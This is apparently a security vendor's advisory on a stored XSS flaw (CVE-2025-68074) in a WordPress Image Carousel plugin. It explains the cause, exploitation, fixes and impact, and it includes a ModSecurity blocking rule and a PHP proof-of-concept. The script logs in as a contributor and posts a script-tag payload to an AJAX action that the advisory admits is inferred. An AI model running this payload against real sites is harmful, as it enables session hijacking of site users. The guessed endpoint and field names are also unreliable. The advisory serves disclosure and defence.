Atomic Edge analysis of CVE-2025-68074 (metadata-based):
This vulnerability is a Stored Cross-Site Scripting (XSS) in the Image Carousel plugin for WordPress, versions up to and including 1.0.0.41. It allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts that execute whenever a user visits a page containing the malicious input. The CVSS score is 6.4 (medium severity), with an attack vector over the network, low complexity, and no user interaction required for script execution in the victim’s browser.
Root Cause: Based on the CWE classification (CWE-79) and the description, the plugin fails to adequately sanitize user-supplied input and insufficiently escape output before rendering it in a browser. The vulnerable component is likely an AJAX handler or shortcode that processes image carousel settings, captions, or alt text. Atomic Edge analysis infers that the plugin likely stores the unsanitized input in the WordPress database (e.g., post meta or options table) and then outputs it without escaping when rendering the carousel front-end. This is a classic pattern for WordPress plugin stored XSS, where the vulnerable input point is a form field or custom meta box accessible to contributors (e.g., image caption or link URL), and the output point is the carousel display template. No code diff is available, so these conclusions are based on the CWE and typical plugin architecture.
Exploitation: An authenticated attacker with contributor-level privileges can craft a malicious payload (e.g., alert(‘XSS’)) and submit it through a form field or AJAX endpoint that accepts and stores carousel data. The likely attack vector is via the plugin’s settings or image upload page, using a POST request to an AJAX action like image_carousel_save_settings or similar. The payload would be injected into a field such as caption, alt_text, or custom_link_url. When a user (including administrators) views a page containing the carousel shortcode, the script executes in their browser. Atomic Edge analysis assumes the plugin uses standard WordPress AJAX hooks (wp_ajax_* and wp_ajax_nopriv_*) but likely only validates nonces and capabilities insufficiently for stored data. A specific proof-of-concept would require identifying the exact action and parameter names, which are not disclosed in the available metadata.
Remediation: The plugin should implement proper input sanitization using WordPress functions like sanitize_text_field() or wp_kses_post() on all user-supplied data before storage. For output, the plugin must use escaping functions such as esc_html(), esc_attr(), or wp_kses() when rendering data in HTML contexts. Atomic Edge research recommends applying a virtual patch at the WAF level while waiting for a plugin update, but the patch should target the specific input fields or AJAX actions identified in a code review. The vendor should also enforce strict capability checks to ensure only users with sufficient privileges (e.g., admin) can modify certain fields.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user who visits a page with the carousel. This can lead to session hijacking, defacement, redirection to malicious sites, or theft of sensitive information such as login credentials. Since the attack requires contributor-level access, the risk is partially limited, but a contributor could compromise an entire site by targeting admin users. No privilege escalation is directly achieved, but the impact is significant for multi-author WordPress installations.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2025-68074 (metadata-based)
# Virtual patch for Image Carousel Stored XSS via AJAX (inferred action)
# Blocks requests to admin-ajax.php with action parameter matching the vulnerable pattern
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20268074,phase:2,deny,status:403,chain,msg:'CVE-2025-68074 - Image Carousel Stored XSS via AJAX',severity:'CRITICAL',tag:'CVE-2025-68074'"
SecRule ARGS_POST:action "@streq image_carousel_save_settings" "chain"
SecRule ARGS_POST:caption "@rx <script[^>]*>.*</script>" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68074 - Image Carousel <= 1.0.0.41 - Authenticated (Contributor+) Stored Cross-Site Scripting
// This PoC assumes the vulnerable input is via an AJAX endpoint for saving carousel settings.
// The exact action and parameter names are inferred from the plugin slug and common patterns.
// Adjust $target_url, $username, $password, and $action as needed after code review.
$target_url = 'http://example.com'; // Replace with actual WordPress site URL
$username = 'contributor'; // Replace with valid contributor credentials
$password = 'password'; // Replace with contributor's password
// Login to WordPress to get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false) {
die('Login failed. Check credentials or site URL.');
}
echo "Logged in successfully.n";
// Forge XSS payload (simple script alert)
$payload = '<script>alert("XSS_by_Atomic_Edge");</script>';
// Set the AJAX action. Replace 'image_carousel_save_settings' with the actual action name.
// The 'caption' parameter is an educated guess; real field names may differ.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
'action' => 'image_carousel_save_settings',
'caption' => $payload,
'nonce' => '' // The nonce might be required; if so, fetch it from a page first.
);
// Attempt to fetch nonce from carousel settings page (optional, comment out if not needed)
// $settings_page = $target_url . '/wp-admin/options-general.php?page=image-carousel';
// curl_setopt($ch, CURLOPT_URL, $settings_page);
// curl_setopt($ch, CURLOPT_POST, false);
// $settings_html = curl_exec($ch);
// preg_match('/var nonce = "([a-f0-9]+)"/', $settings_html, $matches);
// if (isset($matches[1])) { $post_data['nonce'] = $matches[1]; }
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-Requested-With: XMLHttpRequest'));
$response = curl_exec($ch);
if (strpos($response, 'success') !== false || strpos($response, 'true') !== false) {
echo "XSS payload likely stored. Visit a page with the carousel shortcode to trigger.n";
} else {
echo "Request completed. Check response for errors: " . substr($response, 0, 200) . "n";
}
curl_close($ch);
